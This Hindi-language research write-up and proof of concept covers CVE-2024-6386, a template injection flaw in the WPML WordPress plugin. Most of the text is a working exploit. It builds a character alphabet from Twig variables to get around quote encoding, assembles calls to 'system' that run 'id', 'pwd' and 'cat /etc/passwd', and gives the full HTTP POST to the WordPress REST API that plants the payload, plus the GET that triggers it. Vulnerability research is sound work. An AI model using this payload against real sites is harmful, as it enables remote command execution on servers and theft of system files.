
CVE-2024-6386 के लिए शोध और PoC
रूसी में विस्तृत शोध: CVE-2024-6386

आधार स्कोर: 9.9
वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
WPML में आप विशिष्ट WordPress Shortcodes का उपयोग कर सकते हैं, जो आपको मैक्रोज़ बनाने और Twig टेम्पलेट्स को रेंडर करने की भी अनुमति देते हैं। इसलिए आप आसानी से इससे SSTI प्राप्त कर सकते हैं।
उदाहरण के लिए, आइए SSTI का शोषण करने के लिए एक शॉर्टकोड बनाएँ:
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
इस मामले में हमें अपने शॉर्टकोड को रेंडर करने के परिणामस्वरूप 4 मिलेगा।
क्योंकि WordPress सभी प्रकार के कोट्स को HTML में एन्कोड कर देता है, हम सामान्य पेलोड जैसे:
{{['id']|filter('system')}}
का उपयोग नहीं कर सकते।
फिर भी हम इस पेलोड को संशोधित करके वेरिएबल-अक्षरों जैसे: (s = 's') से OS कमांड कॉल कर सकते हैं।
ऐसा करने के लिए हमें कुछ लोकल वेरिएबल्स को कॉल करना होगा जैसे:
css_classeslanguagesपहला हमें एक स्ट्रिंग लौटाएगा: wpml-ls-statics-shortcode_actions wpml-ls।
दूसरा भाषाओं का एक Array ऑब्जेक्ट लौटाता है।
इसकी सहायता से हम अपनी आवश्यकता के प्रतीकों को स्लाइस कर सकते हैं और अपनी स्वयं की वर्णमाला बना सकते हैं।
इसलिए, यहाँ हम एक वर्णमाला बनाते हैं: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]
और हाँ, हमें languages को खाली मान के साथ संयोजित करना चाहिए ताकि इससे "Array" मान वाली एक स्ट्रिंग बन सके।
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
तो उसके बाद हम अपनी वर्णमाला को पेलोड में संयोजित कर सकते हैं:
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com
{
"id":30,
"content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}
GET /?p=30 HTTP/1.1
Host: vulned.com